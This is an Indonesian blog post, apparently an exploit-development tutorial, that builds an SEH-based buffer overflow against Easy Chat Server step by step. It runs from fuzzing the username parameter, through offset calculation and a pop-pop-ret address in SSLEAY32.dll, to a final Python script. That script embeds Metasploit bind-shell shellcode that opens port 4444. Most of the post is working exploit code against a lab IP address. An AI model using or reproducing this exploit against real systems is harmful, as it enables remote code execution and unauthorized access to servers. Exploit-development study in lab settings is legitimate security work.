Senin, 02 Januari 2012


kali ini saya akan mencoba membuat exploit untuk aplikasi EASY CHAT SERVER, namun aplikasi ini berbeda dengan aplikasi sebelumnya yang pernah saya bahas yaitu mempunyai proteksi yang bernama SeHandler. apa itu seh handler....?


SEH based overflow memerlukan sedikit cara khusus karena kita berhadapan dengan Exception Handling. Ketika program crash karena buffer overflow, EIP tidak langsung tertimpa dengan buffer yang kita kirim, tapi mengarahkan kita ke exception handling. Kita hanya perlu memastikan bahwa alamat SE Handler juga tertimpa denga buffer yang kita kirimkan, sehingga ketika exception handling diteruskan, maka akan membawa kita ke EIP. 



seperti biasa, sebelum kita memulai membuat exploit, kita harus membuat fuzzer. berhubung aplikasi ini adalah server chat yang membuka port 80.berikut tampilannya




kita akan mencoba connect dengan username dan password yang salah, dan intercept apa yang kita kirim dengan menggunkan burp, cara ini untuk mendapatkan attack vektor kita.



GET /chat.ghp?username=monyonk&password=a3l9Ui&room=1&sex=2 HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.56.101/

dari sini kita dapat melihat apa yang kita kirim ke server chat, dan menentukan apa yang akan kita serang. yaitu kita akan menyerang variabel username dengan buffer yang tidak sewajarnya.

#!/usr/bin/python
import socket


shit = "x41" * 500


head  = "GET /chat.ghp?username="+shit+"&password=a3l9Ui&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.56.101\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.56.101',80))
s.send(head + "\r\n\r\n")
s.close()

jalankan easy chat server dan attach menggunakan immunity debugger . kita akan mencoba mengirim buffer sebesar 500 pada server, jalankan fuzzer dan lihat apa yang terjadi...




aplikasi mengalami crash, namun EIP tidak langsung ter-overwrite dengan buffer yang kita kirim, itu karna ada seh handling yang akan menghandler jika terjadi overflow. untuk mengetahui seh handlingnya, klick view pada menu > pilih SEH chain..



untuk melewatis seh hadler kita bisa menekan shif+f9 agar buffer diteruskan ke dalam stack



Selanjutnya kita harus mencari jumlah byte yang tepat untuk menimpa alamat SE Handler . Kita dapat menggunakan modul dari Metasploit untuk melakukan hal ini yaitu ./pattern_create.rb 500.
letakkan hasil pattern create pada buffer,,,



#!/usr/bin/python
import socket


shit= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab...


head  = "GET /chat.ghp?username="+shit+"&password=a3l9Ui&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.56.101\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.56.101',80))
s.send(head + "\r\n\r\n")
s.close()

matikan,jalankan kembali server chat dan attach dengan immunity debugger...jalankan fuzzer kita.




jangan lupa untuk menekan shif+f9 untuk meneruskan buffer kedalam stack. selanjutnya kita akan menghitung menggunkan pattern_offest



nah sekarang kita sudah tau bahwa seh handler ter-overwrite pada byte 220. untuk membuktikan bahwa seh handler ter-overwrite pada byte 220, kita modifikasi fuzzer kita.



#!/usr/bin/python
import socket


shit = "\x41" * 216
shit += "\xcc\xcc\xcc\xcc"
shit += "\xEF\xBE\xAD\xDE" 
shit += "\x90" * (750-len(shit))


head  = "GET /chat.ghp?username="+shit+"&password=a3l9Ui&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.56.101\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.56.101',80))
s.send(head + "\r\n\r\n")
s.close()

lakukan proses debugging...!!! tekan shif+f9 untuk melewati seh handler.

sip manstab...sekarang waktunya mencari return addres (pop pop retn)...!!!
iya, kita harus mencari alamat pop pop retn untuk membypass seh handler pada aplikasi tersebut. perlu diketahui, sebelum kita mencari alamat pop pop retn pada sebuah module, kita harus pastikan bahwa module tersebut steril dari yang namanya safeseh. windows mempunyai sebuah proteksi lagi yaitu safeseh. fungsi dari safeseh iyalah memproteksi seh handler dari overflow, biasanya module bawaan dari sebuah aplikasi tidak di proteksi oleh safeseh...


Bagaimana kita dapat menentukan bahwa module tersebut tidak di proteksi oleh safeseh..????


ada 2 langkah:
=> menggunakan PyCommand di immunity debugger yaitu menggunakan module safeseh.py, dia akan memberitahu kita module-module yang di proteksi dan yang tidak di proteksi.


kita bisa lihat bahwa module SSLEAY32.dll unprotected..


=> langkah kedua adalah mengcopy module yang akan kita scan menggunakan msfpescan yaitu module dari metasploit




terlihat bahwa tidak terdapat proteksi pada module tersebut. selanjutnya adalah mencari alamat pop pop retn pada module tersebut, disini juga menggunakan msfpescan untuk melakukannya.




sekarang kita modifikasi fuzzer kita dengan mengisikan alamat pop pop retn pada seh handler



#!/usr/bin/python
import socket


shit = "\x41" * 216
shit += "\xcc\xcc\xcc\xcc"
shit += "\x58\x07\x01\x10" # seh handler > pop pop retn 10010758
shit += "\x90" * (750-len(shit))


head  = "GET /chat.ghp?username="+shit+"&password=a3l9Ui&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.56.101\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.56.101',80))
s.send(head + "\r\n\r\n")
s.close()



restart server, jalan ddebugger, dan lakukan breakpoint pada alamat 10010758,,,



jangan lupa tekan shif+f9 untuk melewati seh handler. kita akan dibawa ke alamat pop pop retn tersebut. selanjut tekan f7 sebanyak 3 kali, kita akan di bawa kedalam stack.Disinilah fungsi dari POP EBP + POP EBX + RETN. Perintah POP EBP akan mengambil baris pertama pada stack kedalam register EBP, perintah POP EBX juga mengambil alamat pada baris kedua dalam stack ke dalam register EBX , selanjutnya perintah RETN akan kembali menunjuk pada ESP.




ternyata shellcede kita tidak bisa langsung ter-eksekusi, karena masih terhalangi oleh alamat 01116DE0-01116DE0. kita harus membypassnya agar ketika kita meluncurkan shellcode tepat jatuh pada alamat 01116DE4. gimana caranya..?


JMP SHORT....!!! kita akan modifikasi fuzzer kita agar bisa melompat sebanyak 6 byte. perintah JMP SHORT dalam bahasa assembly ialah "\xeb\x06\x90\x90". "\xeb" ialah perintah jump short, pada byte selanjutnya "\x06" yaitu melompat sebanyak 6 byte. dan "\x90\x90" untuk menutupi 2 byte setelahnya agar tidak terisi "\x00".


seperti biasa kita akan menggunkan metasploit untuk negerate shellcode. shellcode kita kali ini ialah bind shell pada port 4444




#!/usr/bin/python
import socket


shit = "\x41" * 216
shit += "\xeb\x06\xcc\xcc" # next seh
shit += "\x58\x07\x01\x10" # seh handler > pop pop retn 10010758
shit += ("\xb8\xf7\xa8\xd2\x3b\xdb\xc4\xd9\x74\x24\xf4\x33\xc9\x5f\xb1\x5"
"\x31\x47\x12\x83\xef\xfc\x03\xb0\xa6\x30\xce\xc2\xdd\x5f\x7c\xd2"
"\xdb\x5f\x80\xdd\x7c\x2b\x13\x05\x59\xa0\xa9\x79\x2a\xca\x34\xf9"
"\x2d\xdc\xbc\xb6\x35\xa9\x9c\x68\x47\x46\x6b\xe3\x73\x13\x6d\x1d"
"\x4a\xe3\xf7\x4d\x29\x23\x73\x8a\xf3\x6e\x71\x95\x31\x85\x7e\xae"
"\xe1\x7e\x57\xa5\xec\xf4\xf8\x61\xee\xe1\x61\xe2\xfc\xbe\xe6\xab"
"\xe0\x41\x12\x50\x35\xc9\x6d\x3a\x61\xd1\x0c\x01\x58\x32\xaa\x0e"
"\xd8\xf4\xb8\x50\xd3\x7f\xce\x4c\x46\xf4\x6f\x64\xc6\x63\xfe\x3a"
"\xf8\x9f\xae\x3d\xd2\x06\x1c\xa7\xb3\xf5\x90\x4f\x33\x89\xe6\xd0"
"\xef\x92\xd7\x86\xc4\x80\x24\x6d\x8b\xa5\x03\xce\xa2\xbf\xca\x71"
"\x59\x37\x11\x24\xc8\x4a\xea\x16\x64\x92\x1d\x63\xd8\x73\xe1\x5d"
"\x70\x2f\x4e\x32\x24\x8c\x23\xf7\x99\xed\x14\x91\x75\x03\xc9\x3b"
"\xd5\xaa\x10\x56\xb1\x08\xc8\x28\x85\x06\x12\x1e\x63\xb9\xbd\xcb"
"\x8b\x69\x55\x57\xde\xa4\x4f\xc0\xde\x6f\xdc\xbb\xdf\x40\x8b\xa6"
"\x69\xe7\x05\x7f\x95\x31\xc5\x2b\x3d\xeb\x19\x03\x2e\x7b\x01\xda"
"\x97\x05\x9a\xe3\xce\xa3\xdb\xcb\x89\x21\x40\x8d\x3d\xd5\xe5\xd8"
"\x5b\x73\xa6\x83\x8a\x48\xcf\xd4\xa7\x14\x59\xf8\x09\x55\xaa\x56"
"\x97\x17\x60\x58\x2a\xb4\xe9\x29\xd1\xfc\xa6\x9a\x8d\x95\xca\x22"
"\x62\x73\xd4\xaf\xc1\x83\xfc\x14\x9d\x29\x50\xfb\x70\xa4\x53\xaa"
"\x23\x6d\x05\xb3\x14\xe5\x08\x92\x90\x38\x01\xdb\x4d\xae\x59\xdc"
"\x45\xd0\x76\xa9\xfd\xd2\xf4\x69\x65\xd4\x2d\x23\x99\xfa\xba\xbd"
"\xbd\x19\x49\x12\xc1\x08\x51\x44")
shit += "\x90" * (750-len(shit))


head  = "GET /chat.ghp?username="+shit+"&password=a3l9Ui&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.56.101\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.56.101',80))
s.send(head + "\r\n\r\n")
s.close()

restart server,,, kali ini tidak menggunakan debugger, jalankan fuzzer yang baru kita modifikasi. dan coba untuk melakukan koneksi pada port 4444....!!!




SESUATU YAH,.....!!!

1 komentar:

KUMΞL mengatakan...

kerren!!! ajari ane gan, maklum ane masih newbie.

Posting Komentar